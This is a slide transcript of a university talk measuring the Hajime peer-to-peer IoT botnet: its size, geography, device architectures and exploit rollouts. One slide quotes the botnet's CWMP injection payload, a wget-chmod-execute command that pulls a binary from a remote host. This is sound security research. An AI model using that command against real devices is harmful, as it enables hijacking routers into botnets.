Measurement and Analysis of Hajime: a Peer-to-peer IoT Botnet

University of Maryland

Stephen Herwig Katura Harvey George Hughey Richard Roberts Dave Levin

The Max Planck Institutefor Software Systems+

Rise of IoT Botnets

HajimeResilient C&CTargets many CPU archesScanning behavior arch-specificContinuously deploys new exploits

Talk Overview

Describe Hajime P2P networkOur measurement infrastructure

AnalyzeHeterogeneous botnet compositionImpact of three exploit deployments

Discuss Challenges of new, resilient botnets

BitTorrent’s P2P NetworkUses a DHT to track who is downloading what

Hostingfile named F

announce hash(F)

Hostingfile named F

announce hash(F)

Hostingfile named F

announce hash(F)

Hosting hash(F)

Hostingfile named F

announce hash(F)

Hosting hash(F)

Hostingfile named F

announce hash(F)

Hosting hash(F)

Wants todownload F

Hostingfile named F

announce hash(F)

Hosting hash(F)

Wants todownload F

Hostingfile named F

announce hash(F)

lookup hash(F)

Hosting hash(F)

Wants todownload F

Hostingfile named F

announce hash(F)

lookup hash(F)

Provides random subsets of current uploaders

Hosting hash(F)

Wants todownload F

Hostingfile named F

announce hash(F)

Hosting hash(F)

Wants todownload F

Hostingfile named F

announce hash(F)

lookup hash(F)

Hajime’s P2P Network① Uses BitTorrent’s DHT to find other bots

Downloading

Hosting

Hosting hash(F)

announce hash(F)

Downloading

Hosting

lookup hash(F)

Hosting hash(F)

announce hash(F)

Downloading

Hosting

lookup hash(F)

Hosting hash(F)

Randomsubset

announce hash(F)

File type

Architecture

announce hash(F)

File type

Architecture

Once per day

announce hash(F)

File type

Architecture

Once per day

.i – “infect”

.atk – “attack”

announce hash(F)

File type

Architecture

MIPS little endianMIPS big endianARM v5ARM v6ARM v7

Once per day

.i – “infect”

announce hash(F)

File type

Architecture

MIPS little endianMIPS big endianARM v5ARM v6ARM v7

Once per day

.i – “infect”

Every day, bots are announcing

their actions

and their devices’ architectures

Hajime’s design is primed for measurement!

Hajime’s P2P Network② Fetch files directly from one another

Downloading

Hosting

lookup hash(F)

Hosting hash(F)

announce hash(F)

Downloading

Hosting

Downloading

Hosting

Request File

Downloading

Hosting

Request FileKey exchange

Downloading

Hosting

Keys provide long-lived identifiers

Request FileKey exchange

Hajime’s P2P Network

② Fetch files directly from one another

① Uses BitTorrent’s DHT to find other bots

Difficult to take down Hajime (without also taking down BitTorrent)

Difficult to centrally monitor

Hajime is a resilient next step in IoT botnets

Measuring Hajime’s P2P network① Exhaustively list all peers

Hosting hash(F)

lookup hash(F)

Hosting hash(F)

Randomsubset

Hosting hash(F)

lookup hash(F)

Hosting hash(F)

lookup hash(F)

Hosting hash(F)

i/mipseb/today

atk/arm7/today i/mipsel/tomorrow

atk/arm5/yesterday

Every 16 minutes for 4 months5,404,045 total IP addresses found

i/mipseb/today

atk/arm7/today i/mipsel/tomorrow

atk/arm5/yesterday

Measuring Hajime’s P2P network② Obtain each Hajime bot’s public key

Key exchange

10,536,174 total keys found

Key exchange

Key exchange0

0 20K 40K 60K 80K 100K

IranMexicoChinaIndia

South KoreaUnited States

TurkeyRussia

Indonesia

NATs undercount bots based on IPs

0 100K 200K 300K 400K 500K 600K 700K 800K 900K

IranMexicoChinaIndia

South KoreaUnited States

TurkeyRussia

IndonesiaBrazil

Key exchange

IP reassignment overcounts bots based on IPs

Datasets

5,404,045 unique IP addresses

DHT scans

10,536,174 unique keys

Key scans

47 modules34 .atk, 13 .i

Reverse eng

Jan 25, 2018 – Jun 1, 2018

All available at iot.cs.umd.edu

Analysis Questions

How large is the botnet?Where are bots located?What devices makeup the botnet?

How do exploits change the botnet?How quickly does Hajime update itself?How does Hajime deploy new exploits?

Dynamics

Characteristics

How big is Hajime?

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

Time (20-minute bins)

atk.mipseb update.i.mipseb update

How big is Hajime?

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

Steady-state of ~40K bots

Peaks of 95K after Chimay-Red and GPON exploits

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

OthersBrazil

MexicoChinaIndia

S. KoreaUS

Turkey

RussiaIndonesia

Where are bots located?

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

OthersBrazil

MexicoChinaIndia

S. KoreaUS

Turkey

RussiaIndonesia

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

OthersBrazil

MexicoChinaIndia

S. KoreaUS

Turkey

RussiaIndonesia

The geographic makeup of IoT botnets can change rapidly

Chimay-Red Russia expanded500 → 6,000 hourly

0K10K20K30K40K50K60K70K80K90K

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

OthersBrazil

MexicoChinaIndia

S. KoreaUS

Turkey

RussiaIndonesia

The geographic makeup of IoT botnets can change rapidly

Chimay-Red Russia expanded500 → 6,000 hourly GPON Mostly affected

Mexico

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

mipsebmipsel

arm7arm6arm5

What CPU architectures are most infected?

01-26 02-09 02-23 03-09 03-23 04-06 04-20 05-04 05-18 06-01

mipsebmipsel

arm7arm6arm5

What CPU architectures are most infected?

Devices overwhelmingly run MIPS

74.2% of bot devices are MIPS big-endian (mipseb)

BR CN IR IN KR US TR RU MX IT

Country

arm5arm6arm7mipselmipseb

unknown4M

Brazil China Iran India Korea US Turkey Russia Mexico

How does CPU architecture vary by country?

BR IR MX CN IN KR US TR RU ID

Country

unknown4M

Country

unknown4M

Country

unknown4M

Country

unknown4M

Country

unknown4M

IoT botnets are highly heterogeneous across the world

Country

unknown4M

Country

unknown4M

IoT botnets are highly heterogeneous across the world

After the introduction of the GPON vulnerability

Country

unknown4M

Brazil China Iran India Korea US Turkey Russia Mexico0K

Country

unknown4M

How does CPU architecture vary by country?After the introduction of the GPON vulnerability

New vulnerabilities can lead to drastic changesin geography

Country

unknown4M

Mexico0K

Country

unknown4M

How does CPU architecture vary by country?After the introduction of the GPON vulnerability

Country

unknown4M

Mexico0K

Country

unknown4M

MexicobeforeGPON

afterGPON

Mexico changed from primarily ARM to primarily MIPS

Country

unknown4M

Mexico0K

Country

unknown4M

MexicobeforeGPON

afterGPON

Mexico changed from primarily ARM to primarily MIPS

New vulnerabilities can lead to drastic changesin geography and composition

What devices are infected?

DHT scans

Censys

What devices are infected?

DHT scans

Censys

No device information on over 80%of bot IP addresses

Of those identifiable: 0.8% MikroTik day before Chimay-Red 80.3% day after

How quickly does Hajimedisseminate module updates?

% of mipseb bots hosting or looking up each file version

03-15 03-29 04-12 04-26 05-10 05-24

% of mipseb bots hosting or looking up each file version

03-15 03-29 04-12 04-26 05-10 05-24

n% of mipseb bots hosting or looking up each file version

Inconsistent

A new . i clears old atks.

Hajime’s CWMP exploit

<NewNTPServer1>SHELL_INJECTION</NewNTPServer1>

cd /tmp;wget http://1.2.3.4:5678/3; chmod 777 3;./3

Attacking a non-vulnerable host

“This is a domain name”

Local DNSResolver

“What’s this TLD?”

Local DNSResolver

D-root

Local DNSResolver

D-root

NXDOMAINNXDOMAIN

What we learn from D-root

Local DNSResolver

D-root

Local DNSResolver

D-root

✔✔

Local DNSResolver

D-root

✔✔

DNS Backscatter

A sample of attack attempts worldwide

But only to non-vulnerable hosts

DNS Backscatter: Mirai vs. Hajime

11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18

HajimeMirai

config update.i.mipseb update

atk.mipseb update.i.mipsel update

atk.mipsel update

Where is Hajime from?

Initial (test?) CWMP attack came from the Netherlands

11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18

HajimeMirai

atk.mipsel update

Reverse eng

11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18

HajimeMirai

atk.mipsel update

Reverse eng

Hajime blacklists the same IP address as Mirai, plus: 77.247.0.0/16 85.159.0.0/16 109.201.0.0/16

11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18

HajimeMirai

atk.mipsel update

Reverse eng

Hajime blacklists the same IP address as Mirai, plus: 77.247.0.0/16 85.159.0.0/16 109.201.0.0/16

These have one ISP in common: NFOrce Entertainment (located in the Netherlands)

11/16 01/17 03/17 05/17 07/17 09/17 11/17 01/18 03/18 05/18

HajimeMirai

atk.mipsel update

Also covered in the paper

- Details on bot internals and exploits

- Analysis of bot churn

- Details on device fingerprinting

- Country-level analysis of CWMP DNS backscatter

Measuring and analyzing HajimeDHT scans D-root

IoT botnets have highly heterogeneous architectures

Code and data coming soon: iot.cs.umd.edu

Key scans

New vulnerabilities can lead todrastic changes in size, geography, and composition

IoT botnets areresilient and large 40K steady 95K peak

Measurement and Analysis of Hajime: a Peer-to-peer IoT Botnet · 2019-03-04 · NATs undercount...

Transcript of Measurement and Analysis of Hajime: a Peer-to-peer IoT Botnet · 2019-03-04 · NATs undercount...

Measurement and Analysis of Hajime: a Peer-to-peer IoT Botnet · 2019-03-04 · NATs undercount...

Documents

Transcript of Measurement and Analysis of Hajime: a Peer-to-peer IoT Botnet · 2019-03-04 · NATs undercount...

Tone control digitally controlled audio processor D98AU883 I2CBUS DECODER + LATCHES 100K 100K 100K 100K G L-IN1 L-IN2 L-IN3 L-IN4 100K 100K 100K 100K R-IN1 R-IN2 R-IN3 R-IN4 G INPUT

Sandy Speck - assurancemortgage.com · $120K from Funds from Sale ($80/< Cash Remaining) $200K $100K DOWNSIZING CURRENT HOME $200K Gain on Sale NEW HOME $60K from HE-CM Loan $40K

Are you paying too much in property taxes?€¦ · Are you paying too much in property taxes? Case Study: Single-Family from $200K to $300K Our engagement process is simple and hassle-free.

SPACEPORT UPDATE 100615 Item 5 NMFA... · 2010. 6. 15. · 14 -audited 15 –estimated 16 projected 17requested ... Marketing/Sales (200 and 400) 100k 200k 530k 630k Facility maintenance

Abstract arXiv:1802.02568v1 [cs.CV] 7 Feb 2018 · MS COCO currently contains 300K images and 80 object cate-gories, whereas Visual Genome contains 100K images and thousands of object

Stems 2019 Final Report-web€¦ · DOLLARS RAISED 2008-2019 - $3,205,000 $400K $300K $200K $100K EVENT REPORT It’s a wrap! Despite the threatening weather that brought the festivities

Avgo Biotech · The Calcium Carbonate Market 100k T 300k T Medical 14m T Global European Medical 100k T, €200 million 10% penetration 10k T, €20 million andrew@recegg.com Avgo

swansea 200k

Portishead S106 Money · - £1.92M in NSC - £168K pending (£100k of this unlikely to be received –see later) - £2.1M in NSC - £211K pending (£200k for dock maintenance) - Vast

Agenda for Board Meeting – November 15, 2017 · a. $200k in reserve account: DONE. $200k was place in a Chase savings account on June 29 th . b. $100k budgeted for each year to

Stop wastingmoneyonrent2000 300k

LifeMode Group: GenXurban 5D Rustbelt Traditionsdownloads.esri.com/esri_content_doc/dbl/us/tapestry/5D_Rustbelt... · 0 $100K $200K $300K $400K $500K $600K+ US Average. US Median.

LifeMode Group: Hometown 12D Modest Income Homesdownloads.esri.com/esri_content_doc/dbl/us/tapestry/...0 $100K $200K $300K $400K $500K $600K+ US Average. US Median. Median Earnings

WE INFORM YOUR · 2020. 4. 30. · Revolution De Cuba, Arthur Street, Belfast F&B £3,300,000 NOTABLE TRANSACTIONS Q3 2019 ... 100k 200k 250k Q3 2018 Q4 2018 Q1 2019 Q2 2019 300k

Performance Analysis of a Thermionic Thermal Detector at 400K, 300K, and 200K* Abstract Performance Analysis of a Thermionic Thermal Detector at 400K, 300K, and 200K* by ... detector

MedAmerica Simplicity ii Presentation REV 4-13.ppt · The Simplicity Improvements Simplicity Simplicityii Duration Lif ti 2, 3, 4, 5, 7, L Cash Benefit Account $100K, 200K, 300K,

ROCn 200k 2007

Corrugated Silicon Platelet Feed Horn Array for CMB ... · ˆ[kg m 3] c p [J 6m 3 K 1=10 6] [K 1=10 ] [W m 1 K 1] ˘300K ˘300K 100K 293K 297K Al 2698 2.37 12.2 23.1 236 Cu 8933 3.39

GANDER OUTDOORS OPENING 1ST Q 2018 · Park Hill Place, Northwood Estates, Northwoods Pointe, Oak Bluff $100K-$200K Eagle Landing, Otranto, Indigo Island Reserve $150K-$375k Kennsington,

· using fixed partition algorithm. Fixed Partition Size Main Memory Address Partition Number 100K 25K 25K 50K 200K 300K 325K 350K Diberikan aturan proses kerja adalah Pl=30k, P